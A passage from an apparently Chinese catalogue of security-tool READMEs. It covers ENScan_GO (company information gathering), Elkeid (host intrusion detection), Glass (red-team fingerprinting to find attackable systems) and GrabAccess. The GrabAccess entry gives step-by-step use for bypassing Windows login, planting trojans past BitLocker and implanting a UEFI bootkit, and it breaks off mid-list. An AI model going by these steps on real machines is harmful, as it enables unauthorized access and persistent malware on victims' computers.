2\n```\n\n**使用不同渠道**\n\n使用天眼查数据源（或可设定为 all 组合多个数据源）\n\n```\n./enscan -n 小米 -type tyc\n```\n\n使用多数据源一起收集（暂不支持多渠道+筛选）\n\n```\n./enscan -n 小米 -type aqc,tyc\n```\n\n使用插件渠道\n\n```\n./enscan -n 小米 -type aqc,miit\n```\n\n**请设置请求延时，防止造成影响**\n\n```\n./enscan -n 小米 -delay 3\n```\n\n### Cookie配置\n\n**AQC**\n\n出现安全验证请使用获取cookie的浏览器过验证即可继续，默认查询为 aiqicha.baidu.com\n\nCookie信息请勿直接 `document.cookie`，可能因为http-only 选项无法复制全导致登陆失败\n\n![image-20221028223835307](https://github.com/wgpsec/ENScan_GO/raw/master/README/image-20221028223835307.png)\n\n**TYC tycid**\n\n配置COOKIE后配置tycid\n\n![image-20230722194839975](https://github.com/wgpsec/ENScan_GO/raw/master/README/image-20230722194839975.png)\n\n其他Cookie请自行参考获取\n\n\n### 选项说明\n\n#### **field 获取字段**\n\n使用参数 `field`指定需要查询的信息，可指定多参数一起查询，方便快速收集\n\n```\n-n 小米 -field icp,app\n```\n\n支持以下参数\n\n- `icp` 网站备案信息\n- `weibo` 微博\n- `wechat` 微信公众号\n- `app` 应用信息\n- `job` 招聘信息\n- `wx_app` 微信小程序\n- `copyright` 软件著作权\n- `supplier` 供应商信息（通过招标书确定）\n- 其他（根据插件情况更新）\n\n#### **type 获取字段**\n\n使用参数 `type`可以指定需要API数据源\n\n```\n-n 小米 -type tyc\n```\n**查询数据源**\n\n- `aqc`   爱企查\n- `tyc`   天眼查\n- `kc`    快查\n- `all`   全部查询\n\n**插件**\n\n- `aldzs` 阿拉丁 （仅小程序）\n- `coolapk` 酷安市场 （仅APP）\n- `qimai` 七麦数据（仅APP）\n- `miit`   HG-ha 的 ICP_Query  (ICP备案、APP、小程序、快应用) **非狼组维护，团队成员请使用内部版本**\n\n#### 完整参数\n\n*文档更新不及时，请以程序提示为准*\n\n| 参数           | 样例           | 说明                                                         |\n| -------------- | -------------- | ------------------------------------------------------------ |\n| -n             | 小米           | 关键词                                                       |\n| -i             | 29453261288626 | 公司PID（自动识别类型）                                      |\n| -f             | file.txt       | 批量查询，文本按行分隔（可选PID模式）                        |\n| -type          | aqc            | API类型                                                      |\n| -o             |                | 结果输出的文件夹位置(可选)                                   |\n| -is-merge      |                | 合并导出                                                     |\n| -invest        |                | 投资比例                                                     |\n| -field         | icp            | 获取字段信息                                                 |\n| -deep          | 1              | 递归搜索n层公司，需搭配invest使用                            |\n| -hold          |                | 是否查询控股公司（可能需要VIP账户）                          |\n| -supplier      |                | 是否查询供应商信息                                           |\n| -branch        |                | 查询分支机构（分公司）信息                                   |\n| -is-branch     |                | 深度查询分支机构信息（数量巨大）                             |\n| -api           |                | 是否API模式                                                  |\n| -debug         |                | 是否显示debug详细信息                                        |\n| -is-show       |                | 是否展示信息输出                                             |\n| -is-group      |                | 查询关键词为集团                                             |\n| -is-pid        |                | 批量查询文件是否为公司PID                                    |\n| -delay         |                | 每个请求延迟（S）-1为随机延迟1-5S                            |\n| -branch-filter |                | 提供一个正则表达式，名称匹配该正则的分支机构和子公司会被跳过 |\n| -proxy         |                | 设置代理                                                     |\n| -timeout       |                | 每个请求默认1（分钟）超时                                    |\n| -no-merge      |                | 批量查询【取消】合并导出                                     |\n| -v             |                | 版本信息                                                     |\n\n\n\n### API模式\n\n**api调用效果**\n\n可使用 https://enscan.wgpsec.org/api/info 体验 (因被滥用下线)\n\n🥹plat平台已停止维护，不要问了~\n\n![image-20221028231744940](https://github.com/wgpsec/ENScan_GO/raw/master/README/image-20221028231744940.png)\n\n![image-20221028231815437](https://github.com/wgpsec/ENScan_GO/raw/master/README/image-20221028231815437.png)\n\n![image-20221028231831102](https://github.com/wgpsec/ENScan_GO/raw/master/README/image-20221028231831102.png)\n\n![image-20221028232013627](https://github.com/wgpsec/ENScan_GO/raw/master/README/image-20221028232013627.png)\n\n#### API说明\n\n获取信息将实时查询展示，可与其他工具进行API联动，请注意**不要开放到公网**\n\n**获取信息**\n\n```\nGET /api/info?search=小米&invest=100&branch=true\n```\n\n| 参数     | 参数                 | 说明                       |\n| -------- | -------------------- | -------------------------- |\n| name     | 文本                 | 完整公司名称（二选一）     |\n| type     | 文本，与命令参数一致 | 数据源                     |\n| field    | 文本，与命令参数一致 | 筛选指定信息               |\n| depth    | 数字                 | 爬取几层公司 如 2 为孙公司 |\n| invest   | 数字                 | 筛选投资比例               |\n| holds    | true                 | 筛选控股公司               |\n| supplier | true                 | 筛选供应商信息             |\n| branch   | true                 | 筛选分支信息               |\n| output   | true                 | 为true导出excel表格下载    |\n\n#### 启动部署\n\n**golang 版本依赖**\n\n```\ngo >= 1.22.1\n```\n\n**API模式**\n\n启动API模式将在31000端口监听，并启动api服务，可通过api服务进行调用读取数据\n\n```\n./enscan --api\n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v2.0.4] - 2025-10-31\n\n**修复**  \n- 修复查询多级投资信息卡死问题\n\n#### [v2.0.3] - 2025-10-23\n\n**修复**  \n- 修复tyc bug  \n**修复**  \n- list bug\n\n#### [v1.3.1] - 2025-07-22\n\n**修复**  \n- 修复查询投资企业名称bug  \n**新增**  \n- 增加RB的查询超限提示\n\n#### [v1.2.2] - 2025-05-20\n\n**修复**  \n- 修复TYC查询问题。\n\n#### [v1.2.1] - 2025-03-29\n\n**更新**  \n- 增加支持介入MCP协议，方便接入本地大模型调用。\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Elkeid.md",
    "content": "## Elkeid <https://github.com/bytedance/Elkeid>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-C/Golang-blue)\n![Author](https://img.shields.io/badge/Author-bytedance-orange)\n![GitHub stars](https://img.shields.io/github/stars/bytedance/Elkeid.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.0.0-red)\n![Time](https://img.shields.io/badge/Join-20210422-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n[English](https://github.com/bytedance/Elkeid/blob/main/README.md) | 简体中文\n\n**Elkeid** 是一款可以满足 **主机，容器与容器集群，Serverless** 等多种工作负载安全需求的开源解决方案，源于字节跳动内部最佳实践。\n\n随着企业的业务发展，多云、云原生、多种工作负载共存的情况愈发凸显，我们希望可以有一套方案可以满足不同工作负载下的安全需求，因此 **Elkeid** 诞生了。\n\n\n## Introduction\n\nElkeid 具备以下主要能力：\n\n* **Elkeid** 不仅具备传统的 **HIDS(Host Intrusion Detection System)** 的对于主机层入侵检测和恶意文件识别的能力，且对容器内的恶意行为也可以很好的识别，部署在宿主机即可以满足宿主机与其上容器内的反入侵安全需求，并且 **Elkeid** 底层强大的内核态数据采集能力可以满足大部分安全运营人员对于主机层数据的渴望。\n\n* 对于运行的业务 **Elkeid** 具备 **RASP** 能力可以注入到业务进程内进行反入侵保护，不仅运维人员不需要再安装一个 Agent，业务也无需重启。\n\n* 对于 **K8s** 本身 **Elkeid** 支持接入**K8s Audit Log** 对 **K8s** 系统进行入侵检测和风险识别。\n\n* **Elkeid** 的规则引擎 **Elkeid HUB** 也可以很好的和外部多系统进行联动对接。\n\n**Ekeid** 将这些能力都很好的融合在一个平台内，满足不同工作负载的复杂安全需求的同时，还能实现多组件能力关联，更难得的是每个组件均经过字节跳动海量数据和多年的实战检验。\n\n\n\n## Elkeid Community Edition Description\n\n需要注意的是 **Elkeid** **开源版本** 和完整版本存在差异，目前已开源的能力主要包括：\n\n* 全部端上能力，即端上数据/资产/部分采集能力，内核态数据采集能力，RASP 探针部分等，并与字节跳动内部版本一致；\n* 全部接入层能力，即 Agent Center，服务发现等，并与字节跳动内部版本一致；\n* 提供社区版规则引擎即 Elkeid HUB，并配套少量策略作为示例使用；\n* 提供社区版 Elkeid Console 与部分配套能力。\n\n因此需要具备完整的反入侵与风险感知能力，还需要自行基于 Elkeid HUB 进行策略构建和对 Elkeid 采集的数据进行二次加工等工作。\n\n\n\n## Elkeid Architecture\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/server/docs/server_new.png\"/>\n\n##  Elkeid Host Ability\n* **[Elkeid Agent](https://github.com/bytedance/Elkeid/blob/main/agent/README-zh_CN.md)** 用户态 Agent，负责管理各个端上能力组件并与 **Elkeid Agent Center** 通信\n* **[Elkeid Driver](https://github.com/bytedance/Elkeid/blob/main/driver/README-zh_CN.md)** 负责 Linux Kernel 层采集数据，兼容容器，并能够检测常见 Rootkit\n* **[Elkeid RASP](https://github.com/bytedance/Elkeid/blob/main/rasp)** 支持 CPython、Golang、JVM、NodeJS、PHP 的运行时数据采集探针，支持动态注入到运行时\n* **Elkeid Agent Plugin List**\n  * [Driver Plugin](https://github.com/bytedance/Elkeid/blob/main/plugins/driver): 负责与 **Elkeid Driver** 通信，处理其传递的数据等\n  * [Collector Plugin](https://github.com/bytedance/Elkeid/blob/main/plugins/collector): 负责端上的资产/关键信息采集工作，如用户，定时任务，包信息等\n  * [Journal Watcher](https://github.com/bytedance/Elkeid/blob/main/plugins/journal_watcher): 负责监测systemd日志的插件，目前支持ssh相关日志采集与上报\n  * [Scanner Plugin](https://github.com/bytedance/Elkeid/blob/main/plugins/scanner): 负责在端上进行静态检测恶意文件的插件，支持 Yara\n  * [RASP Plugin](https://github.com/bytedance/Elkeid/blob/main/rasp/plugin): 分析系统进程运行时，上报运行时信息，处理下发的 Attach 指令，收集各个探针上报的数据\n  * [Baseline Plugin](https://github.com/bytedance/Elkeid/blob/main/plugins/baseline): 负责在端上进行基线风险识别的插件\n* [**Elkeid 数据说明**](https://github.com/bytedance/Elkeid/blob/main/server/docs/ElkeidData.xlsx)\n* [**Elkeid 数据接入**](https://github.com/bytedance/Elkeid/blob/main/elkeidup/raw_data_usage_tutorial/raw_data_usage_tutorial-zh_CN.md)\n\n\n## Elkeid Backend Ability\n* **[Elkeid AgentCenter](https://github.com/bytedance/Elkeid/blob/main/server/agent_center)** 负责与 Agent 进行通信并管理 Agent 如升级，配置修改，任务下发等\n* **[Elkeid ServiceDiscovery](https://github.com/bytedance/Elkeid/blob/main/server/service_discovery)** 后台中的各组件都会向该组件定时注册、同步服务信息，从而保证各组件相互可见，便于直接通信\n* **[Elkeid Manager](https://github.com/bytedance/Elkeid/blob/main/server/manager)** 负责对整个后台进行管理，并提供相关的查询、管理接口\n* **[Elkeid Console](https://github.com/bytedance/Elkeid/blob/main/server/web_console)** Elkeid 前端部分\n* **[Elkeid HUB](https://github.com/bytedance/Elkeid-HUB)**  策略引擎\n\n\n\n## Elkeid Function List\n\n| 功能                 | Elkeid Community Edition | Elkeid Enterprise Edition |\n|--------------------|--------------------------|---------------------------|\n| Linux 数据采集能力       | :white_check_mark:       | :white_check_mark:        |\n| RASP 探针能力          | :white_check_mark:       | :white_check_mark:        |\n| K8s Audit Log 采集能力 | :white_check_mark:       | :white_check_mark:        |\n| Agent 控制面          | :white_check_mark:       | :white_check_mark:        |\n| 主机状态与详情            | :white_check_mark:       | :white_check_mark:        |\n| 勒索诱饵               | :ng_man:                 | :white_check_mark:        |\n| 资产采集               | :white_check_mark:       | :white_check_mark:        |\n| 高级资产采集             | :ng_man:                 | :white_check_mark:        |\n| 容器集群资产采集           | :white_check_mark:       | :white_check_mark:        |\n| 暴露面与脆弱性分析          | :ng_man:                 | :white_check_mark:        |\n| 主机/容器 基础入侵检测       | `少量样例`                   | :white_check_mark:        |\n| 主机/容器 行为序列入侵检测     | :ng_man:                 | :white_check_mark:        |\n| RASP 基础入侵检测        | `少量样例`                   | :white_check_mark:        |\n| RASP 行为序列入侵检测      | :ng_man:                 | :white_check_mark:        |\n| K8S 基础入侵检测         | `少量样例`                   | :white_check_mark:        |\n| K8S 行为序列入侵检测       | :ng_man:                 | :white_check_mark:        |\n| K8S 威胁分析           | :ng_man:                 | :white_check_mark:        |\n| 告警溯源(行为溯源)         | :ng_man:                 | :white_check_mark:        |\n| 告警溯源(驻留溯源)         | :ng_man:                 | :white_check_mark:        |\n| 告警白名单              | :white_check_mark:       | :white_check_mark:        |\n| 多告警聚合能力            | :ng_man:                 | :white_check_mark:        |\n| 威胁处置(进程)           | :ng_man:                 | :white_check_mark:        |\n| 威胁处置(网络)           | :ng_man:                 | :white_check_mark:        |\n| 威胁处置(文件)           | :ng_man:                 | :white_check_mark:        |\n| 文件隔离箱              | :ng_man:                 | :white_check_mark:        |\n| 漏洞检测               | `少量情报`                   | :white_check_mark:        |\n| 漏洞情报热更新            | :ng_man:                 | :white_check_mark:        |\n| 基线检查               | `少量基线`                   | :white_check_mark:        |\n| RASP 热补丁           | :ng_man:                 | :white_check_mark:        |\n| 病毒扫描               | :white_check_mark:       | :white_check_mark:        |\n| 用户行为日志分析           | :ng_man:                 | :white_check_mark:        |\n| 插件管理               | :white_check_mark:       | :white_check_mark:        |\n| 系统监控               | :white_check_mark:       | :white_check_mark:        |\n| 系统管理               | :white_check_mark:       | :white_check_mark:        |\n| Windows 支持         | :ng_man:                 | :white_check_mark:        |\n| 蜜罐                 | :ng_man:                 | :oncoming_automobile:     |\n| 主动防御               | :ng_man:                 | :oncoming_automobile:     |\n| 云查杀                | :ng_man:                 | :oncoming_automobile:     |\n| 防篡改                | :ng_man:                 | :oncoming_automobile:     |\n\n\n\n## Front-end Display (Community Edition)\n**安全概览**\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console0.png\" style=\"float:left;\"/>\n\n**容器集群安全告警**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console1.png\" style=\"float:left;\"/>\n\n**容器集群工作负载信息**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console2.png\" style=\"float:left;\"/>\n\n****\n\n**主机概览**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console3.png\" style=\"float:left;\"/>\n\n**资产指纹**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console4.png\" style=\"float:left;\"/>\n\n**安全告警**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console5.png\" style=\"float:left;\"/>\n\n**漏洞信息**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console6.png\" style=\"float:left;\"/>\n\n**基线检查**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console7.png\" style=\"float:left;\"/>\n\n**病毒扫描**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console8.png\" style=\"float:left;\"/>\n\n**后端监控**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console9.png\" style=\"float:left;\"/>\n\n**后端服务监控**\n\n<img src=\"https://github.com/bytedance/Elkeid/raw/main/png/console10.png\" style=\"float:left;\"/>\n\n\n\n## Console User Guide\n* **[ELkeid Console User Guide](https://github.com/bytedance/Elkeid/blob/main/server/docs/console_tutorial/Elkeid_Console_manual.md)**\n\n## Quick Start\n* **[通过Elkeidup部署](https://github.com/bytedance/Elkeid/blob/main/elkeidup/README-zh_CN.md)**\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2021-11-10 发布文章[《抗击黑客：如何利用Elkeid构建入侵检测能力》](https://mp.weixin.qq.com/s/iwvkIdgMblVOH7Agg_wXtQ)\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Glass.md",
    "content": "## Glass <https://github.com/s7ckTeam/Glass>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-s7ckTeam-orange)\n![GitHub stars](https://img.shields.io/github/stars/s7ckTeam/Glass.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.6-red)\n![Time](https://img.shields.io/badge/Join-20210120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n# Glass(镜) V2.0-剑客到刺客的蜕变\n\n## 一、简介：\n\n```\n    _____    _      _____                    \n __|___  |__| | __ |_   _|__  __ _ _ __ ___  \n/ __| / / __| |/ /   | |/ _ \\/ _` | '_ ` _ \\ \n\\__ \\/ / (__|   <    | |  __/ (_| | | | | | |\n|___/_/ \\___|_|\\_\\   |_|\\___|\\__,_|_| |_| |_|\n  ____ _               \n / ___| | __ _ ___ ___ \n| |  _| |/ _` / __/ __|\n| |_| | | (_| \\__ \\__ \\\n \\____|_|\\__,_|___/___/ \thttp://www.s7ck.com    \n```\n\n\nGlass为s7ck Team 红队武器库F-Box里的一款信息收集工具。\n\n在红队作战中，信息收集是必不可少的环节，如何才能从大量的资产中提取有用的系统(如OA、VPN、路由、Weblogic...)是众多红队人员头疼的问题。\n\nGlass是一款针对资产列表的快速指纹识别工具，通过调用Fofa/ZoomEye/Shodan/360等api接口快速查询资产信息并识别重点资产的指纹，也可针对IP/IP段或资产列表进行快速的指纹识别。\n\nGlass旨在帮助红队人员在资产信息收集期间能够快速从C段、大量杂乱的资产中精准识别到易被攻击的系统，从而实施进一步测试攻击。\n\n s7ck Team F-box旨在通过开源或者开放的方式，长期维护并推进涉及安全研究各个领域不同环节的工具化，高度自动化，将立足于不同安全领域、不同安全环节的研究人员和工具链接/封装/优化起来。\n \n 主要目的是改善安全圈内工具庞杂、水平层次不齐、开源无人维护、工具找不到的等多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。\n\n### 开发语言\n\n* Python3\n\n### 运行环境\n\n* Linux\n* Windows\n* Mac\n\n### 使用依赖库\n\n* requests\n* colorama\n* prettytable\n* xlsxwriter\n\n\n### 安装\n\tgit clone https://github.com/s7ckTeam/Glass\n\tcd Glass\n\tpip3 install -r requirements.txt\n\n## 二、更新日志：\n\n### 正式版\n* 2.0.6 更改默认搜索设置，添加哪个`api`就会默认调用哪个，不需要指定，如果有多个`api`可`-s`指定\n* 2.0.5 添加自定义搜索（-s,--search）\n  1. 添加钟馗之眼（https://www.zoomeye.org/）搜索\n  2. 在`config/config.py`中`zoomeyeApi`设置，输入`key`值即可（**注：** 用的时候注意api使用条数）\n  3. -s参数[eye（钟馗之眼） or fofa（Fofa）]（python3 Glass.py -i 127.0.0.1 -s eye or fofa）\n  4. 不加参数`-s`默认使用`fofa`搜索\n\n* 2.0.4 添加删除更新的缓存文件\n* 2.0.3 扫描域名或批量扫描时可不加协议（**注：** 建议添加协议）\n* 2.0.2 增加自定义输出格式（-o,--output）\n  1. 支持输出的格式有：`txt`、`json`、`html`、`xls`、`csv`\n  2. 默认输出`txt`格式\n  3. 输出目录在根目录`output`下\n* 2.0\n  1. 增加代理功能（--proxy）\n     - 全局访问代理，支持http、https\n     - 支持自定义（格式：http://127.0.0.1:8080或者https://127.0.0.1:8080）\n     - 首次使用会按照参数获取相应代理，然后在根目录生成`/proxyFile/proxy.txt`\n     - 参数（all）使用全部代理进行随机分配\n     - 参数（cn）使用国内代理进行随机分配\n     - 参数（http://127.0.0.1:8080或者https://127.0.0.1:8080） 自定义的代理\n  2. 增加获取代理功能（--proxy-list）\n     - 首次使用会按照参数获取相应代理，然后在根目录生成`/proxyFile/proxy.txt`\n     - 参数（all）获取全部\n     - 参数（cn）获取国内\n  3. 增加在线更新功能（--update）\n  4. 去除print，改用logging输出\n  5. 优化运行代码，后期还会优化\n  6. 增加对url协议使用相应协议的代理\n  7. 增加查看版本参数（-v,--version）\n  8. 使用不生成pyc文件\n  9. 全局随机分配代理，获取到多少就用多少，每次访问都不一样\n  10. 将获取到的代理文件保存，根目录生成`/proxyFile/proxy.txt`，终端以表格形式输出，一目了然\n  11. 增加版本判断，建议使用 >=python 3.7.3\n  12. 对证书认证方面的处理\n  13. 每过15分钟会重新获取一次代理IP\n* 1.3（添加`cookie`识别方式，将识别规则改为列表，防止重复的cms不带入识别，识别精准度提高，速度更快）\n* 1.2（修复编码问题，以及fofa会员获取数量问题，现在默认`100`，在`config/config.py`中`fofaSize`更改，普通会员为`100`，高级`10000`，企业`100000`，请自行更改）\n* 1.1（处理每日一说超时后写入空文件问题）\n* 1.0（全面优化识别效率，命中率`99%`）\n* 0.9（添加每日一说获取异常，添加识别规则）\n\n### Glass V2.0新版内容部分截图\n\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/proxy_1.png)\n\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/proxy_2.png)\n\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/Glass_pa3.png)\n\n### 测试版更新信息\n\n  - 0.9（优化IP段的扫描，以及批量下可添加IP段）\n  - 0.8（更改线程运行方式）\n  - 0.7（与协程对比，最好还是用线程并发）\n  - 0.6（更改配色方案，采用线程并发，增加单url以及批量url识别）\n  - 0.5（优化采集速度以及与识别分开，增加输出）\n  - 0.4（整理识别规则）\n  - 0.3（添加指纹扫描）\n  - 0.2（更新每天一说，让红队不再乏味）\n  - 0.1（写出整体实现功能，Fofa接口的设置与采集）\n\n## 三、使用方法：\n\n```\nUsage: python3 Glass.py -i 127.0.0.1 or 127.0.0.0/24\nUsage: python3 Glass.py -i 127.0.0.1 -s eye or fofa\nUsage: python3 Glass.py -f ips.txt\nUsage: python3 Glass.py -u https://96.mk/\nUsage: python3 Glass.py -w webs.txt\nUsage: python3 Glass.py --proxy-list all or cn\nUsage: python3 Glass.py (-i -f -u -w) 127.0.0.1 or 127.0.0.0/24 --proxy all or cn\nUsage: python3 Glass.py --update\nUsage: python3 Glass.py -u https://96.mk/ -o html\n\n\nusage: Glass.py [-h] [-i IP] [-f FILE] [-u URL] [-w WEB] [--proxy PROXY] [--proxy-list PROXYLIST] [-v] [--update] [-o OUTPUTTARGET] [-s SEARCH]\n\nGlass scan.\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -i IP, --ip IP        Input your ip.\n  -f FILE, --file FILE  Input your ips.txt.\n  -u URL, --url URL     Input your url.\n  -w WEB, --web WEB     Input your webs.txt.\n  --proxy PROXY         Input your proxy options(all or cn) or proxy address(127.0.0.1:8080).\n  --proxy-list PROXYLIST\n                        List the proxys.\n  -v, --version         Show program's version number and exit.\n  --update              Update the program.\n  -o OUTPUTTARGET, --output OUTPUTTARGET\n                        Select the output format.\n  -s SEARCH, --search SEARCH\n                        Choose your search engine.\n\n\n-i 可指定单独IP或者IP段（需添加您fofa的API或者zoomeye的API）\n-f 批量要扫的IP或IP段（需添加您fofa的API或者zoomeye的API）\n-u 单个url识别\n-w 批量url识别\n-s 指定搜索引擎\n--proxy all/cn/http://127.0.0.1:8080 使用 all表示全部 cn表示国内或者自定义的代理（支持http、https）\n--proxy-list all/cn 获取代理 all表示全部 cn表示国内\n```\n#### 相关配置更改\n\n* API设置\n  1. 在`config/config.py`中`fofaApi`设置，输入对应的`email`与`key`即可\n  2. 在`config/config.py`中`zoomeyeApi`设置，输入`key`值即可\n* 线程默认 `100`可在`config/config.py`中`threadNum`修改线程数 **（注：建议在200以内）**\n* 每日一说可设置开启关闭，在`config/config.py`中`tosayRun`，`True`为开，`False`为关\n* fofa会员搜索的更改，默认搜索`100`，在`config/config.py`中`fofaSize`更改，普通会员为`100`，高级`10000`，企业`100000`，请自行更改\n\n\nGlass提供了**四种**指纹识别方式，可从本地读取识别，也可以从FOFA进行批量调用API识别(需要FOFA密钥)。\n\n**1.本地识别：**\n\n```bash\npython Glass.py -u http://www.s7ck.com  // 单url测试\npython Glass.py -w url.txt  // url文件内\n\n```\n\n**2.FOFA识别：**\n\n注意：从FOFA识别需要配置FOFA 密钥以及邮箱，在`.../config/config.py`内配置好密钥以及邮箱即可使用。\n\n```bash\nfofaApi = {\n    \"email\": \"admin@s7ck.com\",\n    \"key\": \"1234567890\",\n}\n```\n\n```\npython3 Glass.py -i 127.0.0.1  //支持单IP资产\npython3 Glass.py -i 127.0.0.1/24 //支持IP段资产\npython3 Glass.py -f ips.txt //支持文本内IP资产，可添加IP段\n```\n\n#### 结果输出\n\n结果输出在`../output/xxxxx.txt`\n\n#### 识别规则添加方法\n\n目前只加了对源码和`header`头文件进行识别，后面会陆续添加识别的规则以及方式\n\n已加入`cookie`识别\n\n规则文件在`config/rules.py`\n\n**添加方法**\n\n```\n['CMS', 'headers', '(nginx)']\n['CMS', 'cookie', '(MorkerSession)']\n['CMS', 'code', '(<title>Morker</title>)']\n\n三种识别方式，headers头文件识别，cookie识别，code源码识别\n\n支持同方式多种识别内容，比如：\n\n['CMS', 'code', '(<title>Morker</title>)|css/css.css']\n\n注：单引号和反斜杆记得转义，转义符号为\\\n```\n\n## 四、效果：\n\n**1.本地识别：**\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/u1.png)\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/u2.png)\n\n**2.fofa识别：**\n\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/c0.png)\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/c1.png)\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/c2.png)\n![](https://github.com/s7ckTeam/Glass/raw/main/Image/Glass.gif)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/GrabAccess.md",
    "content": "## GrabAccess <https://github.com/Push3AX/GrabAccess>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-C-blue)\n![Author](https://img.shields.io/badge/Author-Push3AX-orange)\n![GitHub stars](https://img.shields.io/github/stars/Push3AX/GrabAccess.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1-red)\n![Time](https://img.shields.io/badge/Join-20240805-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n## GrabAccess\n\n**Bookit / Windows登陆密码和Bitlocker绕过工具**\n\n------\n\n[**中文**](https://github.com/Push3AX/GrabAccess/blob/main/readme_cn.md) | [English](https://github.com/Push3AX/GrabAccess/blob/main/readme.md)\n\n在物理接触的情况下，GrabAccess可以：\n\n1. 绕过Windows登陆密码执行任意操作（以System权限执行命令、重置Windows账户密码等）\n2. 植入木马并添加自启动（可以绕过Bitlocker，但要求受害者登录）\n3. 通过修改主板UEFI固件实现无视重装系统、更换硬盘的持久化（Bootkit）\n\n\n\n## 快速开始\n\nGrabAccess最基础的功能是绕过Windows登录密码。\n\n1. 准备一个U盘。（需为`FAT16`或`FAT32`格式）\n\n2. 下载[GrabAccess_Release.zip](https://github.com/Push3AX/GrabAccess/releases/download/Version1.1/GrabAccess_Release_1.1.0.zip)，解压到U盘根目录。\n\n   ![1](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/1.png)\n\n3. 将U盘插入目标计算机。重启，在启动时进入BIOS菜单。选择从U盘启动（如果开启了`Security Boot`，还需将其设置为`DISABLE`）.\n\n   ![2](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/2.png)\n\n4. 在Windows启动时会弹出CMD窗口和账户管理窗口，可以System权限执行任意命令而无需登录。\n\n   ![3](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/3.png)\n\n5. 按下`ALT+F4`关闭CMD窗口后，Windows回到登陆界面。\n\n\n\n## 自动化植入（支持绕过 Bitlocker）\n\nGrabAccess可以自动植入指定的程序，并为其添加启动项。\n\n要使用该功能，需要预先将GrabAccess与要植入的程序打包：\n\n1. 下载[GrabAccess_Release.zip](https://github.com/Push3AX/GrabAccess/releases/download/Version1.1/GrabAccess_Release_1.1.0.zip)，解压并放置在U盘根目录。\n\n2. 将需要植入的程序命名为`payload.exe`，放置在U盘根目录。\n\n3. 运行`build.bat`进行打包。\n\n   ![4](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/4.png)\n\n4. 将U盘插入目标计算机、从U盘启动（与前文相同）\n\n5. Windows启动后即可看到指定的程序。\n\n![5](https://raw.githubusercontent.com/Push3AX/GrabAccess/main/images/5.png)\n\n该植入过程可以绕过Bitlocker的系统盘加密。\n\n从含有GrabAccess的U盘启动后，GrabAccess就会写入到内存中。此时可以拔出U盘，但需要停留在Bitlocker输入密码的界面，等待受害者返回输入密码。当Bitlocker解锁之后，指定的程序会被写入磁盘。但在这之前，由于GrabAccess仅停留在内存，如果重启或关机，GrabAccess将会失效。\n\n\n\n## 修改主板UEFI固件实现Bootkit\n\nGrabAccess可以被植入到计算机主板的UEFI固件。实现硬件级别的持久化（Bootkit）。\n\n每次Windows系统启动时，GrabAccess会植入指定的程序，即使重装系统或更换硬盘之后也会重新植入。要移除它，只能刷写主板固件或更换主板。\n\n**警告：以下操作可能损坏主板！必须对UEFI固件有一定了解才可继续。AT YOUR OWN RISK !!!!**\n\n要实现这一功能，大致分为四步：\n\n1. 将GrabAccess与要植入的程序打包\n2. 提取主板UEFI固件\n3. 向UEFI固件插入GrabAccessDXE\n4. 